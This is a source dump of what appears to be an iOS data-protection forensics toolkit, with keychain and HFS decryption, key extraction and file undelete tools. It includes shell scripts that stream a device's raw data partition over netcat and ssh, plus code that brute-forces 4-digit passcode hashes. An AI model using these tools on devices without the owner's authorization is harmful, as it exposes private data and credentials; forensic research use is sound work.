├── python_scripts
├── crypto
│ ├── __init__.py
│ ├── aes.py
│ ├── aeswrap.py
│ ├── curve25519.py
│ └── gcm.py
├── hfs
│ ├── __init__.py
│ └── journal.py
├── backups
│ ├── __init__.py
│ ├── backup3.py
│ └── backup4.py
├── keystore
│ └── __init__.py
├── README.txt
├── windows_redsn0w_keys.py
├── util
│ ├── cert.py
│ ├── tlv.py
│ ├── __init__.py
│ ├── lzss.py
│ └── ramdiskclient.py
├── keychain
│ ├── __init__.py
│ ├── managedconfiguration.py
│ ├── keychain3.py
│ ├── store.py
│ ├── keychain4.py
│ └── keychain.py
├── emf_undelete.py
├── emf_decrypter.py
├── demo_escrow.py
├── demo_bruteforce.py
├── backup_tool.py
├── keychain_tool.py
├── demo_backup_keychain.py
└── kernel_patcher.py
├── ramdisk_tools
├── image.h
├── registry.h
├── device_info.h
├── dump_data_partition.sh
├── plist_server.h
├── keystore_device.xml
├── remote_functions.h
├── scripts
│ └── mount_partitions.sh
├── IOKit.h
├── bsdcrypto
│ ├── sha1.h
│ ├── pbkdf2.h
│ ├── key_wrap.h
│ ├── rijndael.h
│ ├── key_wrap.c
│ ├── sha1.c
│ └── pbkdf2.c
├── IOAESAccelerator.h
├── AppleEffaceableStorage.h
├── device_infos.c
├── Makefile
├── AppleEffaceableStorage.c
├── image.c
├── AppleKeyStore.h
├── IOKit.c
├── util.h
├── device_info.c
├── IOAESAccelerator.c
├── AppleKeyStore_kdf.c
├── util.c
├── plist_server.c
├── systemkb_bruteforce.c
└── remote_functions.c
├── README.txt
├── emf_decrypter
├── common
│ ├── CMakeLists.txt
│ └── base64.c
├── emf
│ ├── CMakeLists.txt
│ ├── emf.h
│ ├── emf_init.c
│ └── emf_decrypter.c
├── includes
│ ├── dmg
│ │ ├── dmgfile.h
│ │ ├── dmglib.h
│ │ └── filevault.h
│ ├── hfs
│ │ ├── hfslib.h
│ │ └── hfscompress.h
│ ├── abstractfile.h
│ └── common.h
├── hfs
│ ├── CMakeLists.txt
│ ├── utility.c
│ ├── flatfile.c
│ ├── extents.c
│ └── volume.c
├── README.txt
├── CMakeLists.txt
└── BUILD
├── tcprelay.sh
├── usbmuxd-python-client
├── relay.bat
└── tcprelay.py
├── CREDITS.txt
├── img3fs
├── Makefile
└── README
└── dump_data_partition.sh
/python_scripts/crypto/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/python_scripts/hfs/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/python_scripts/backups/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/python_scripts/keystore/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/ramdisk_tools/image.h:
--------------------------------------------------------------------------------
1 | int drawImage(const char* pngFileName);
2 |
--------------------------------------------------------------------------------
/README.txt:
--------------------------------------------------------------------------------
1 | See http://code.google.com/p/iphone-dataprotection/wiki/README
2 |
--------------------------------------------------------------------------------
/ramdisk_tools/registry.h:
--------------------------------------------------------------------------------
1 | void get_device_infos(CFMutableDictionaryRef out);
--------------------------------------------------------------------------------
/emf_decrypter/common/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | add_library(common abstractfile.c base64.c)
2 |
3 |
--------------------------------------------------------------------------------
/ramdisk_tools/device_info.h:
--------------------------------------------------------------------------------
1 | CFDictionaryRef device_info(int socket, CFDictionaryRef request);
2 |
--------------------------------------------------------------------------------
/ramdisk_tools/dump_data_partition.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | cat /dev/rdisk0s2s1 | netcat -l -p 1234
4 |
--------------------------------------------------------------------------------
/tcprelay.sh:
--------------------------------------------------------------------------------
1 | #/bin/sh
2 |
3 | python usbmuxd-python-client/tcprelay.py -t 22:2222 1999:1999
4 |
5 |
--------------------------------------------------------------------------------
/usbmuxd-python-client/relay.bat:
--------------------------------------------------------------------------------
1 | c:\Python26\python.exe tcprelay.py -t 22:2222 5900:5900 1999:1999 1234:1234
2 |
--------------------------------------------------------------------------------
/CREDITS.txt:
--------------------------------------------------------------------------------
1 | comex
2 | chronic dev team
3 | idroid/openiboot team
4 | iphone dev team
5 | Jonathan Zdziarski
6 | msftguy
7 | planetbeing
8 |
--------------------------------------------------------------------------------
/python_scripts/README.txt:
--------------------------------------------------------------------------------
1 | Dependencies
2 | pycrypto (https://www.dlitz.net/software/pycrypto/)
3 | construct (http://construct.wikispaces.com/)
--------------------------------------------------------------------------------
/img3fs/Makefile:
--------------------------------------------------------------------------------
1 | img3fs: img3fs.c
2 | gcc -o $@ $^ -Wall -lfuse_ino64 -lcrypto -I/usr/local/include/osxfuse || gcc -o $@ $^ -Wall -losxfuse_i64 -lcrypto -I/usr/local/include/osxfuse
3 |
4 | clean:
5 | rm img3fs
6 |
--------------------------------------------------------------------------------
/ramdisk_tools/plist_server.h:
--------------------------------------------------------------------------------
1 | #define PLIST_MAX_SIZE 50*1024*1024
2 |
3 | int create_listening_socket(int port);
4 | int send_progress_message(int socket, int progress, int total);
5 | int send_object(int socket, CFTypeRef obj);
6 | void serve_plist_rpc(int port, CFDictionaryRef handlers);
--------------------------------------------------------------------------------
/ramdisk_tools/keystore_device.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.keystore.device
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/python_scripts/windows_redsn0w_keys.py:
--------------------------------------------------------------------------------
1 | #HAX
2 |
3 | d=open("redsn0w_win_0.9.9b4/redsn0w.exe", "rb").read()
4 |
5 | i = d.find("IV")
6 | i = d.rfind("", i)
8 |
9 | assert i != -1
10 | assert j != -1
11 |
12 | open("Keys.plist", "wb").write(d[i:j+8])
13 |
--------------------------------------------------------------------------------
/python_scripts/util/cert.py:
--------------------------------------------------------------------------------
1 | import base64
2 |
3 | def chunks(l, n):
4 | return (l[i:i+n] for i in xrange(0, len(l), n))
5 |
6 | def RSA_KEY_DER_to_PEM(data):
7 | a = ["-----BEGIN RSA PRIVATE KEY-----"]
8 | a.extend(chunks(base64.b64encode(data),64))
9 | a.append("-----END RSA PRIVATE KEY-----")
10 | return "\n".join(a)
--------------------------------------------------------------------------------
/ramdisk_tools/remote_functions.h:
--------------------------------------------------------------------------------
1 |
2 | CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict);
3 | CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict);
4 | CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict);
5 | CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict);
6 | CFDictionaryRef download_file(int socket, CFDictionaryRef dict);
7 |
--------------------------------------------------------------------------------
/emf_decrypter/emf/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | link_directories(${PROJECT_BINARY_DIR}/common ${PROJECT_BINARY_DIR}/hfs)
2 |
3 | #set(COREFOUNDATION_LIBRARY CoreFoundation)
4 |
5 | IF (APPLE)
6 | FIND_LIBRARY(COREFOUNDATION_LIBRARY CoreFoundation)
7 | ENDIF (APPLE)
8 |
9 | add_executable(emf_decrypter emf_decrypter.c emf_init.c)
10 | target_link_libraries (emf_decrypter hfs common crypto ${COREFOUNDATION_LIBRARY})
11 |
12 | install(TARGETS emf_decrypter DESTINATION .)
13 |
--------------------------------------------------------------------------------
/img3fs/README:
--------------------------------------------------------------------------------
1 | FUSE img3 filesystem
2 | read/write/encryption support
3 |
4 | Usage example:
5 |
6 | mkdir /tmp/img3
7 | img3fs /tmp/img3 038-0032-002.dmg -iv 9b20ae16bebf4cf1b9101374c3ab0095 -key 06849aead2e9a6ca8a82c3929bad5c2368942e3681a3d5751720d2aacf0694c0
8 | hdiutil attach /tmp/img3/DATA.dmg
9 | rm -rf /Volumes/ramdisk/usr/local/standalone/firmware/*
10 | echo "Hello World!" > /Volumes/ramdisk/hello.txt
11 | hdiutil eject /Volumes/ramdisk
12 | umount /tmp/img3
--------------------------------------------------------------------------------
/emf_decrypter/includes/dmg/dmgfile.h:
--------------------------------------------------------------------------------
1 | /*
2 | * dmgfile.h
3 | * libdmg-hfsplus
4 | *
5 | */
6 |
7 | #include
8 |
9 | io_func* openDmgFile(AbstractFile* dmg);
10 | io_func* openDmgFilePartition(AbstractFile* dmg, int partition);
11 |
12 | typedef struct DMG {
13 | AbstractFile* dmg;
14 | ResourceKey* resources;
15 | uint32_t numBLKX;
16 | BLKXTable** blkx;
17 | void* runData;
18 | uint64_t runStart;
19 | uint64_t runEnd;
20 | uint64_t offset;
21 | } DMG;
22 |
--------------------------------------------------------------------------------
/ramdisk_tools/scripts/mount_partitions.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 |
4 | if [ -a /dev/disk0s1s2 ]; then # test for iOS 5 data partition
5 | mount_hfs /dev/disk0s1s1 /mnt1 2>/dev/null
6 | mount_hfs /dev/disk0s1s2 /mnt2 2>/dev/null
7 | elif [ -a /dev/disk0s2s1 ]; then # test for iOS 4 data partition
8 | mount_hfs /dev/disk0s1 /mnt1 2>/dev/null
9 | mount_hfs /dev/disk0s2s1 /mnt2 2>/dev/null
10 | else
11 | echo "Error mounting partitions. Please try it manually"
12 | fi
13 |
--------------------------------------------------------------------------------
/dump_data_partition.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | SSHOPTS="-p 2222 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null"
3 |
4 | UDID=`ssh $SSHOPTS root@localhost "./device_infos udid"`
5 |
6 | if [ "$UDID" == "" ]; then
7 | exit
8 | fi
9 |
10 | echo "Device UDID : $UDID"
11 |
12 | mkdir -p $UDID
13 |
14 | DATE=`date +"%Y%m%d-%H%M"`
15 | OUT=$UDID/data_$DATE.dmg
16 |
17 | echo "Dumping data partition in $OUT ..."
18 |
19 | ssh $SSHOPTS root@localhost "dd if=/dev/rdisk0s2s1 bs=8192 || dd if=/dev/rdisk0s1s2 bs=8192" > $OUT
20 |
--------------------------------------------------------------------------------
/python_scripts/util/tlv.py:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | def tlvToDict(blob):
4 | d = {}
5 | for tag,data in loopTLVBlocks(blob):
6 | d[tag] = data
7 | return d
8 |
9 | def tlvToList(blob):
10 | return list(loopTLVBlocks(blob))
11 |
12 | def loopTLVBlocks(blob):
13 | i = 0
14 | while i + 8 <= len(blob):
15 | tag = blob[i:i+4]
16 | length = struct.unpack(">L",blob[i+4:i+8])[0]
17 | data = blob[i+8:i+8+length]
18 | yield (tag,data)
19 | i += 8 + length
--------------------------------------------------------------------------------
/python_scripts/keychain/__init__.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 | from keychain3 import Keychain3
3 | from keychain4 import Keychain4
4 |
5 | def keychain_load(filename, keybag, key835):
6 | version = sqlite3.connect(filename).execute("SELECT version FROM tversion").fetchone()[0]
7 | print "Keychain version : %d" % version
8 | if version == 3:
9 | return Keychain3(filename, key835)
10 | elif version >= 4:
11 | return Keychain4(filename, keybag)
12 | raise Exception("Unknown keychain version %d" % version)
13 |
--------------------------------------------------------------------------------
/emf_decrypter/includes/dmg/dmglib.h:
--------------------------------------------------------------------------------
1 | #ifndef DMGLIB_H
2 | #define DMGLIB_H
3 |
4 | #include
5 | #include "abstractfile.h"
6 |
7 | #ifdef __cplusplus
8 | extern "C" {
9 | #endif
10 | int extractDmg(AbstractFile* abstractIn, AbstractFile* abstractOut, int partNum);
11 | int buildDmg(AbstractFile* abstractIn, AbstractFile* abstractOut, unsigned int BlockSize);
12 |
13 | int convertToDMG(AbstractFile* abstractIn, AbstractFile* abstractOut);
14 | int convertToISO(AbstractFile* abstractIn, AbstractFile* abstractOut);
15 | #ifdef __cplusplus
16 | }
17 | #endif
18 |
19 | #endif
20 |
--------------------------------------------------------------------------------
/ramdisk_tools/IOKit.h:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | io_connect_t IOKit_getConnect(const char* serviceName);
4 |
5 | IOReturn IOKit_call(const char* serviceName,
6 | uint32_t selector,
7 | const uint64_t *input,
8 | uint32_t inputCnt,
9 | const void *inputStruct,
10 | size_t inputStructCnt,
11 | uint64_t *output,
12 | uint32_t *outputCnt,
13 | void *outputStruct,
14 | size_t *outputStructCnt);
--------------------------------------------------------------------------------
/emf_decrypter/hfs/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | INCLUDE(FindZLIB)
2 |
3 | IF(NOT ZLIB_FOUND)
4 | message(FATAL_ERROR "zlib is required for hfs!")
5 | ENDIF(NOT ZLIB_FOUND)
6 |
7 | include_directories(${ZLIB_INCLUDE_DIR})
8 | link_directories(${ZLIB_LIBRARIES})
9 |
10 | link_directories (${PROJECT_BINARY_DIR}/common)
11 | add_library(hfs btree.c catalog.c extents.c xattr.c fastunicodecompare.c flatfile.c hfslib.c rawfile.c utility.c volume.c hfscompress.c)
12 | target_link_libraries(hfs common z)
13 |
14 | add_executable(hfsplus hfs.c)
15 | target_link_libraries (hfsplus hfs)
16 |
17 | install(TARGETS hfsplus DESTINATION .)
18 |
19 |
--------------------------------------------------------------------------------
/emf_decrypter/README.txt:
--------------------------------------------------------------------------------
1 | DEPRECATED: use the python version instead
2 |
3 | Decrypts files data forks in raw iOS 4 disk images.
4 | Reads encryption keys from plist file named after the volume ID.
5 | The plist file must have at least the EMF and DKey fields set.
6 | For now the tool decrypts the data forks but does not mark the files as
7 | "decrypted" : running it twice on the same image will produce garbage.
8 | Interrupting the process will also leave the image "half decrypted".
9 |
10 | Uses planetbeing/dev team HFS implementation
11 | https://github.com/planetbeing/xpwn
12 |
13 | Only builds on Mac OS X, requires CoreFoundation for plist access.
--------------------------------------------------------------------------------
/python_scripts/crypto/aes.py:
--------------------------------------------------------------------------------
1 | from Crypto.Cipher import AES
2 |
3 | ZEROIV = "\x00"*16
4 | def removePadding(blocksize, s):
5 | 'Remove rfc 1423 padding from string.'
6 | n = ord(s[-1]) # last byte contains number of padding bytes
7 | if n > blocksize or n > len(s):
8 | raise Exception('invalid padding')
9 | return s[:-n]
10 |
11 |
12 | def AESdecryptCBC(data, key, iv=ZEROIV, padding=False):
13 | if len(data) % 16:
14 | print "AESdecryptCBC: data length not /16, truncating"
15 | data = data[0:(len(data)/16) * 16]
16 | data = AES.new(key, AES.MODE_CBC, iv).decrypt(data)
17 | if padding:
18 | return removePadding(16, data)
19 | return data
20 |
--------------------------------------------------------------------------------
/emf_decrypter/hfs/utility.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | void hfs_panic(const char* hfs_panicString) {
6 | fprintf(stderr, "%s\n", hfs_panicString);
7 | exit(1);
8 | }
9 |
10 | void printUnicode(HFSUniStr255* str) {
11 | int i;
12 |
13 | for(i = 0; i < str->length; i++) {
14 | printf("%c", (char)(str->unicode[i] & 0xff));
15 | }
16 | }
17 |
18 | char* unicodeToAscii(HFSUniStr255* str) {
19 | int i;
20 | char* toReturn;
21 |
22 | toReturn = (char*) malloc(sizeof(char) * (str->length + 1));
23 |
24 | for(i = 0; i < str->length; i++) {
25 | toReturn[i] = (char)(str->unicode[i] & 0xff);
26 | }
27 | toReturn[i] = '\0';
28 |
29 | return toReturn;
30 | }
31 |
--------------------------------------------------------------------------------
/ramdisk_tools/bsdcrypto/sha1.h:
--------------------------------------------------------------------------------
1 | /* $OpenBSD: sha1.h,v 1.5 2007/09/10 22:19:42 henric Exp $ */
2 |
3 | /*
4 | * SHA-1 in C
5 | * By Steve Reid
6 | * 100% Public Domain
7 | */
8 |
9 | #ifndef _SHA1_H_
10 | #define _SHA1_H_
11 |
12 | #define SHA1_BLOCK_LENGTH 64
13 | #define SHA1_DIGEST_LENGTH 20
14 |
15 | typedef struct {
16 | u_int32_t state[5];
17 | u_int64_t count;
18 | unsigned char buffer[SHA1_BLOCK_LENGTH];
19 | } SHA1_CTX;
20 |
21 | void SHA1Init(SHA1_CTX * context);
22 | void SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]);
23 | void SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len);
24 | void SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context);
25 |
26 | #endif /* _SHA1_H_ */
27 |
--------------------------------------------------------------------------------
/python_scripts/keychain/managedconfiguration.py:
--------------------------------------------------------------------------------
1 | """
2 | 0
3 | 1:MCSHA256DigestWithSalt
4 | 2:SecKeyFromPassphraseDataHMACSHA1
5 | """
6 | from crypto.PBKDF2 import PBKDF2
7 | import plistlib
8 | import hashlib
9 |
10 | SALT1 = "F92F024CA2CB9754".decode("hex")
11 |
12 | hashMethods={
13 | 1: (lambda p,salt:hashlib.sha256(SALT1 + p)),
14 | 2: (lambda p,salt:PBKDF2(p, salt, iterations=1000).read(20))
15 | }
16 |
17 | def bruteforce_old_pass(h):
18 | salt = h["salt"].data
19 | hash = h["hash"].data
20 | f = hashMethods.get(h["hashMethod"])
21 |
22 | if f:
23 | print "Bruteforcing hash %s (4 digits)" % hash.encode("hex")
24 | for i in xrange(10000):
25 | p = "%04d" % (i % 10000)
26 | if f(p,salt) == hash:
27 | return p
28 |
--------------------------------------------------------------------------------
/python_scripts/emf_undelete.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | from hfs.emf import EMFVolume
4 | from hfs.journal import do_emf_carving
5 |
6 | if __name__ == "__main__":
7 | if len(sys.argv) < 2:
8 | print "Usage: emf_undelete.py disk_image.bin"
9 | sys.exit(0)
10 | filename = sys.argv[1]
11 | volume = EMFVolume(filename)
12 | dirname = os.path.dirname(filename)
13 | if dirname == "":
14 | dirname = "."
15 | outdir = dirname + "/" + volume.volumeID().encode("hex") + "_" + os.path.basename(filename)
16 | carveokdir = outdir + "/undelete/"
17 | carvenokdir = outdir + "/junk/"
18 | try:
19 | os.makedirs(carveokdir)
20 | os.makedirs(carvenokdir)
21 | except:
22 | pass
23 |
24 | do_emf_carving(volume, carveokdir, carvenokdir)
25 |
--------------------------------------------------------------------------------
/emf_decrypter/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 2.6)
2 | set(CMAKE_LEGACY_CYGWIN_WIN32 0)
3 |
4 | project (XPwn)
5 |
6 | # We want win32 executables to build staticly by default, since it's more difficult to keep the shared libraries straight on Windows
7 | IF(WIN32)
8 | SET(BUILD_STATIC ON CACHE BOOL "Force compilation with static libraries")
9 | ELSE(WIN32)
10 | SET(BUILD_STATIC OFF CACHE BOOL "Force compilation with static libraries")
11 | ENDIF(WIN32)
12 |
13 | IF(BUILD_STATIC)
14 | SET(CMAKE_FIND_LIBRARY_SUFFIXES ".a")
15 | ENDIF(BUILD_STATIC)
16 |
17 | include_directories (${PROJECT_SOURCE_DIR}/includes)
18 |
19 | add_subdirectory (common)
20 | add_subdirectory (hfs)
21 | add_subdirectory (emf)
22 |
23 | IF(WIN32 OR APPLE)
24 | SET(CPACK_GENERATOR "ZIP")
25 | ELSE(WIN32 OR APPLE)
26 | SET(CPACK_GENERATOR "TBZ2")
27 | ENDIF(WIN32 OR APPLE)
28 |
29 | INCLUDE(CPack)
30 |
--------------------------------------------------------------------------------
/ramdisk_tools/IOAESAccelerator.h:
--------------------------------------------------------------------------------
1 | #define kIOAESAcceleratorInfo 0
2 | #define kIOAESAcceleratorTask 1
3 | #define kIOAESAcceleratorTest 2
4 |
5 | #define kIOAESAcceleratorEncrypt 0
6 | #define kIOAESAcceleratorDecrypt 1
7 |
8 | #define kIOAESAcceleratorGIDMask 0x3E8
9 | #define kIOAESAcceleratorUIDMask 0x7D0
10 | #define kIOAESAcceleratorCustomMask 0
11 |
12 | typedef struct
13 | {
14 | void* inbuf;
15 | void* outbuf;
16 | uint32_t size;
17 | uint8_t iv[16];
18 | uint32_t mode;
19 | uint32_t bits;
20 | uint8_t keybuf[32];
21 | uint32_t mask;
22 | uint32_t zero; //ios 4.2.1
23 | } IOAESStruct;
24 |
25 | #define IOAESStruct_size41 (sizeof(IOAESStruct))
26 | #define IOAESStruct_sizeold (sizeof(IOAESStruct) - 4)
27 |
28 | void aes_init();
29 | io_connect_t IOAESAccelerator_getIOconnect();
30 | int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits);
31 | int AES_UID_Encrypt(void* input, void* output, size_t len);
32 |
33 | uint8_t* IOAES_key835();
34 | uint8_t* IOAES_key89B();
35 |
--------------------------------------------------------------------------------
/python_scripts/emf_decrypter.py:
--------------------------------------------------------------------------------
1 | from optparse import OptionParser
2 | from hfs.emf import EMFVolume
3 |
4 | def main():
5 | parser = OptionParser(usage="emf_decrypter.py disk_image.bin")
6 | parser.add_option("-w", "--nowrite", dest="write", action="store_false", default=True,
7 | help="disable modifications of input file, for testing")
8 | (options, args) = parser.parse_args()
9 | if len(args) < 1:
10 | parser.print_help()
11 | return
12 | v = EMFVolume(args[0], write=options.write)
13 | if options.write:
14 | print "WARNING ! This tool will modify the hfs image and possibly wreck it if something goes wrong !"
15 | print "Make sure to backup the image before proceeding"
16 | print "You can use the --nowrite option to do a dry run instead"
17 | else:
18 | print "Test mode : the input file will not be modified"
19 | print "Press a key to continue or CTRL-C to abort"
20 | raw_input()
21 | v.decryptAllFiles()
22 |
23 | if __name__ == "__main__":
24 | main()
25 |
--------------------------------------------------------------------------------
/emf_decrypter/includes/hfs/hfslib.h:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 | #include "hfsplus.h"
3 | #include "abstractfile.h"
4 |
5 | #ifdef __cplusplus
6 | extern "C" {
7 | #endif
8 | void writeToFile(HFSPlusCatalogFile* file, AbstractFile* output, Volume* volume);
9 | void writeToHFSFile(HFSPlusCatalogFile* file, AbstractFile* input, Volume* volume);
10 | void get_hfs(Volume* volume, const char* inFileName, AbstractFile* output);
11 | int add_hfs(Volume* volume, AbstractFile* inFile, const char* outFileName);
12 | void grow_hfs(Volume* volume, uint64_t newSize);
13 | void removeAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName);
14 | void addAllInFolder(HFSCatalogNodeID folderID, Volume* volume, const char* parentName);
15 | void addall_hfs(Volume* volume, const char* dirToMerge, const char* dest);
16 | void extractAllInFolder(HFSCatalogNodeID folderID, Volume* volume);
17 | int copyAcrossVolumes(Volume* volume1, Volume* volume2, char* path1, char* path2);
18 |
19 | void hfs_untar(Volume* volume, AbstractFile* tarFile);
20 | void hfs_ls(Volume* volume, const char* path);
21 | void hfs_setsilence(int s);
22 | #ifdef __cplusplus
23 | }
24 | #endif
25 |
26 |
--------------------------------------------------------------------------------
/ramdisk_tools/bsdcrypto/pbkdf2.h:
--------------------------------------------------------------------------------
1 | /* $OpenBSD: pbkdf2.h,v 1.1 2008/06/14 06:28:27 djm Exp $ */
2 |
3 | /*-
4 | * Copyright (c) 2008 Damien Bergamini
5 | *
6 | * Permission to use, copy, modify, and distribute this software for any
7 | * purpose with or without fee is hereby granted, provided that the above
8 | * copyright notice and this permission notice appear in all copies.
9 | *
10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
17 | */
18 |
19 | /*
20 | * Password-Based Key Derivation Function 2 (PKCS #5 v2.0).
21 | * Code based on IEEE Std 802.11-2007, Annex H.4.2.
22 | */
23 | int pkcs5_pbkdf2(const char *, size_t, const char *, size_t,
24 | u_int8_t *, size_t, u_int);
25 |
--------------------------------------------------------------------------------
/ramdisk_tools/AppleEffaceableStorage.h:
--------------------------------------------------------------------------------
1 | /*
2 | AppleEffaceableStorage
3 | 0 : getCapacity
4 | 1 : getBytes (kernel debug)
5 | 2 : setBytes (kernel debug)
6 | 3 : isFormatted
7 | 4 : format
8 | 5 : getLocker
9 | 6 : setLocker
10 | 7 : effaceLocker
11 | 8 : lockerSpace
12 | */
13 | #define kAppleEffaceableStorageGetBytes 1
14 | #define kAppleEffaceableStorageGetLocker 5
15 |
16 |
17 | #define LOCKER_DKEY 0x446B6579
18 | #define LOCKER_EMF 0x454D4621
19 | #define LOCKER_BAG1 0x42414731
20 | #define LOCKER_LWVM 0x4C77564d
21 |
22 | struct EffaceableLocker
23 | {
24 | unsigned short magic; //0x4c6B = "kL"
25 | unsigned short len;
26 | unsigned int tag; //BAG1, EMF, Dkey, DONE
27 | unsigned char data[1];
28 | };
29 |
30 | struct BAG1Locker
31 | {
32 | unsigned int magic;//'BAG1';
33 | unsigned char iv[16];
34 | unsigned char key[32];
35 | };
36 |
37 | int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len);
38 | int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len);
39 | int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len);
40 |
41 |
--------------------------------------------------------------------------------
/python_scripts/crypto/aeswrap.py:
--------------------------------------------------------------------------------
1 | import struct
2 | from Crypto.Cipher import AES
3 |
4 | """
5 | http://www.ietf.org/rfc/rfc3394.txt
6 | quick'n'dirty AES wrap implementation
7 | used by iOS 4 KeyStore kernel extension for wrapping/unwrapping encryption keys
8 | """
9 | def unpack64bit(s):
10 | return struct.unpack(">Q",s)[0]
11 | def pack64bit(s):
12 | return struct.pack(">Q",s)
13 |
14 | def AESUnwrap(kek, wrapped):
15 | C = []
16 | for i in xrange(len(wrapped)/8):
17 | C.append(unpack64bit(wrapped[i*8:i*8+8]))
18 | n = len(C) - 1
19 | R = [0] * (n+1)
20 | A = C[0]
21 |
22 | for i in xrange(1,n+1):
23 | R[i] = C[i]
24 |
25 | for j in reversed(xrange(0,6)):
26 | for i in reversed(xrange(1,n+1)):
27 | todec = pack64bit(A ^ (n*j+i))
28 | todec += pack64bit(R[i])
29 | B = AES.new(kek).decrypt(todec)
30 | A = unpack64bit(B[:8])
31 | R[i] = unpack64bit(B[8:])
32 |
33 | #assert A == 0xa6a6a6a6a6a6a6a6, "AESUnwrap: integrity check FAIL, wrong kek ?"
34 | if A != 0xa6a6a6a6a6a6a6a6:
35 | #print "AESUnwrap: integrity check FAIL, wrong kek ?"
36 | return None
37 | res = "".join(map(pack64bit, R[1:]))
38 | return res
--------------------------------------------------------------------------------
/emf_decrypter/emf/emf.h:
--------------------------------------------------------------------------------
1 | //As of iOS 4, class keys 1 to 4 are used for files, class 5 usage is unknown
2 | #define MAX_CLASS_KEYS 5
3 | #define CLASS_DKEY 4
4 |
5 | typedef struct EMFInfo
6 | {
7 | Volume* volume;
8 | uint64_t volume_id;
9 | uint64_t volume_offset;
10 | uint32_t classKeys_bitset;
11 | AES_KEY emfkey;
12 | AES_KEY classKeys[MAX_CLASS_KEYS];
13 | }EMFInfo;
14 |
15 | EMFInfo* EMF_init(Volume*, char*);
16 |
17 | #define CPROTECT_V2_LENGTH 0x38 //56
18 | #define CP_WRAPPEDKEYSIZE 40 /* 2x4 = 8, 8x8 = 64 */
19 |
20 | //http://www.opensource.apple.com/source/xnu/xnu-1699.22.73/bsd/sys/cprotect.h
21 | typedef struct cprotect_xattr_v2
22 | {
23 | uint16_t xattr_major_version; // =2
24 | uint16_t xattr_minor_version; // =0
25 | uint32_t flags; // leaks stack dword in one code path (cp_handle_vnop)
26 | uint32_t persistent_class;
27 | uint32_t key_size; //0x28
28 | uint8_t persistent_key[0x28];
29 | } cprotect_xattr_v2;
30 |
31 | #define CPROTECT_V4_LENGTH 0x4C //76
32 |
33 | typedef struct cprotect_xattr_v4
34 | {
35 | uint16_t xattr_major_version; // =4
36 | uint16_t xattr_minor_version; // =0
37 | uint32_t xxx_length; // 0xc
38 | uint32_t protection_class_id;
39 | uint32_t wrapped_length; //0x28
40 | uint8_t xxx_junk[20]; //uninitialized ?
41 | uint8_t wrapped_key[0x28];
42 | } cprotect_xattr_v4;
--------------------------------------------------------------------------------
/ramdisk_tools/device_infos.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "device_info.h"
5 | #include "util.h"
6 |
7 | int main(int argc, char* argv[])
8 | {
9 | CFMutableDictionaryRef out = device_info(-1, NULL);
10 |
11 | if (out == NULL)
12 | {
13 | fprintf(stderr, "device_info(-1, NULL) failed\n");
14 | return -1;
15 | }
16 |
17 | if (argc > 1 )
18 | {
19 | CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, argv[1], kCFStringEncodingASCII);
20 | CFTypeRef value = CFDictionaryGetValue(out, key);
21 | if (value != NULL)
22 | {
23 | *stderr = *stdout;//HAX
24 | CFShow(value);
25 | }
26 | else
27 | fprintf(stderr, "key %s not found\n", argv[1]);
28 | CFRelease(key);
29 | CFRelease(out);
30 | return 0;
31 | }
32 |
33 | CFStringRef plistFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID")));
34 |
35 | CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@\n"), plistFileName);
36 | CFShow(printString);
37 | CFRelease(printString);
38 |
39 | saveResults(plistFileName, out);
40 | CFRelease(out);
41 | CFRelease(plistFileName);
42 | return 0;
43 | }
44 |
